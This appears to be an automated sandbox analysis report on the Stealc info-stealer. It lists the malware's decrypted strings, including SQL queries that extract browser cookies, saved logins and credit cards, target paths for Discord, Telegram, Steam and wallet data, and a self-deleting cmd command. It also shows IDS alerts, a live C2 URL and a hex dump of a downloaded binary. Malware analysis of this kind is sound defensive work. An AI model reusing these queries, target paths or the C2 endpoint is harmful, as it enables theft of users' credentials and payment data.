Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: OperaGX
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Network
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: cookies
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: .txt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: TRUE
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: FALSE
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: autofill
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: history
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: cc
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: name:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: month:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: year:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: card:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Cookies
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Login Data
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Web Data
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: History
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: logins.json
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: usernameField
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: guid
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: places.sqlite
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: plugins
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: IndexedDB
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Opera Stable
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CURRENT
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Local State
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: profiles.ini
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: chrome
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: opera
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: firefox
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: wallets
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ProductName
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: x32
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: x64
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DisplayName
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Network Info:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: System Summary:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - HWID:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - OS:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Architecture:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - UserName:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Local Time:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - UTC:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Language:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Laptop:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Running Path:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - CPU:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Threads:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Cores:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - RAM:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: - GPU:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: User Agents:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: All Users:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Current User:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Process List:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: system_info.txt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: nss3.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Temp\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: .exe
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: runas
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: open
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: /c start
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %RECENT%
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: *.lnk
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: files
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \discord\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: key_datas
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: map*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Telegram
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Tox
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: *.tox
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: *.ini
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Password
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 00000001
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 00000002
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 00000003
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 00000004
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Pidgin
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \.purple\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: accounts.xml
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: token:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SteamPath
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \config\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ssfn*
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: config.vdf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Steam\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: browsers
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: done
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: soft
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: https
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: POST
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: hwid
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: build
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: token
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: file_name
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: file
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: message
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D48B040 BCryptGenRandom,SystemFunction036,	0_2_6D48B040

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Unpacked PE file: 0.2.I43xo3KKfS.exe.400000.1.unpack

Source: I43xo3KKfS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50018 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: I43xo3KKfS.exe, I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C717D FindFirstFileExW,	0_2_6D4C717D

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 45.88.105.105:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 45.88.105.105:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.88.105.105:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 45.88.105.105:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.88.105.105:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 45.88.105.105:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://45.88.105.105/e88e05dfd1bdeeb9.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 08:07:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 